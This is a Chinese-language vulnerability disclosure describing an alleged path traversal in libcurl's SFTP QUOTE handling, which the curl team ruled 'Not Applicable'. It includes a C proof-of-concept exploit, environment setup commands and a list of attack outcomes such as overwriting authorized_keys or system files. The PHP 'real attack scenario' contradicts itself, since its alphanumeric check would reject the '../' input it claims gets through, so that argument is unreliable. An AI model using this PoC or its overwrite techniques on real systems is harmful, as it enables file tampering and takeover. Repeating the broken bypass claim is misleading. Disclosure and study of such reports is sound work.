漏洞概述
libcurl在处理SFTP QUOTE命令时存在路径遍历漏洞。位于lib/vssh/curl_path.c
中的Curl_get_pathname
函数未能对用户提供的路径进行遍历序列(../
)过滤。能够控制SFTP QUOTE命令的攻击者可利用此漏洞在用户预期目录外执行任意文件操作(重命名、删除,以及通过STOR命令写入)。通过覆盖敏感文件如authorized_keys
或系统脚本,可进一步实现远程代码执行(RCE)。
受影响版本
该漏洞在libcurl与libssh2链接的系统上重现。测试环境中的curl版本信息如下:
1
2
|
curl 8.15.0 (Windows) libcurl/8.15.0 OpenSSL/3.5.0 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8
libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.65.0 ngtcp2/1.13.0 nghttp3/1.10.1
|
复现步骤
环境准备
-
安装运行OpenSSH服务:
- 在Windows 10/11上通过"可选功能"安装OpenSSH服务
- 使用PowerShell启动服务:
Start-Service sshd
- 创建测试用户:
net user testuser testpass /add
-
准备目标文件与目录:
1
2
3
|
echo. > C:\Users\testuser\file_to_move.txt
mkdir C:\tmp\attack_target
icacls C:\tmp\attack_target /grant testuser:(OI)(CI)F
|
PoC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl;
CURLcode res;
struct curl_slist *quote_list = NULL;
const char *malicious_rename =
"rename file_to_move.txt ../../tmp/attack_target/SUCCESS.txt";
quote_list = curl_slist_append(quote_list, malicious_rename);
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, "sftp://127.0.0.1/");
curl_easy_setopt(curl, CURLOPT_USERNAME, "testuser");
curl_easy_setopt(curl, CURLOPT_PASSWORD, "testpass");
curl_easy_setopt(curl, CURLOPT_SSH_KNOWNHOSTS, NULL);
curl_easy_setopt(curl, CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, NULL);
curl_easy_setopt(curl, CURLOPT_POSTQUOTE, quote_list);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
res = curl_easy_perform(curl);
if(res != CURLE_OK) {
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
}
curl_easy_cleanup(curl);
}
curl_slist_free_all(quote_list);
curl_global_cleanup();
return 0;
}
|
验证结果
执行PoC后检查目标目录:
1
|
dir C:\tmp\attack_target
|
将发现SUCCESS.txt
文件,证明重命名操作成功突破了用户主目录限制。
技术分析
漏洞核心在于lib/vssh/curl_path.c
中的Curl_get_pathname
函数。该函数在处理QUOTE命令路径时未对../
序列进行验证或过滤,导致路径遍历漏洞。
与libcurl的URL解析器形成鲜明对比:当处理类似sftp://user@host/some/dir/../../etc/passwd
的URL时,URL解析器会正确执行"dedotdotify"操作,而Curl_get_pathname
却未能实现相同的安全校验。
影响评估
此漏洞允许具有SFTP访问权限的攻击者(即使被限制在特定目录)在用户具有操作系统权限的任何文件系统位置执行任意文件操作。具体危害包括:
- 覆盖
~/.ssh/authorized_keys
获取持久SSH访问
- 覆盖系统脚本、应用二进制文件或配置文件
- 写入web服务器目录实现基于web的RCE
实际攻击场景示例
考虑一个PHP web应用允许用户管理自己的web目录文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
$old_name = $_POST['old_name'];
$new_name = $_POST['new_name'];
// 开发者进行的安全检查
if (!ctype_alnum($old_name) || !ctype_alnum($new_name)) {
die("Invalid filename.");
}
$sftp_dir = '/users/username/';
$command = sprintf("rename %s%s %s%s", $sftp_dir, $old_name, $sftp_dir, $new_name);
$ch = curl_init('sftp://sftp.example.com');
curl_setopt($ch, CURLOPT_QUOTE, [$command]);
curl_exec($ch);
?>
|
攻击者提供输入:
- old_name: dummy
- new_name: ../../../../etc/passwd
由于libcurl内部路径解析漏洞,最终会执行rename /users/username/dummy /etc/passwd
,完全绕过开发者设置的安全防护。
争议焦点
curl维护团队认为此行为符合设计预期,主要观点包括:
CURLOPT_QUOTE
设计用于发送原始命令,文档未声明会进行清理
- 允许应用控制QUOTE命令本身已存在安全风险
- 路径解析应由服务器端而非客户端库处理
漏洞报告者则认为:
- 问题核心在于libcurl内部路径解析函数的不安全实现
- 与libcurl自身URL解析器的安全处理不一致
- 开发者合理的安全假设被库的内部行为破坏
漏洞状态
报告最终被标记为"Not Applicable",curl团队认为这是预期行为而非安全漏洞。但出于透明度考虑,报告已被公开披露。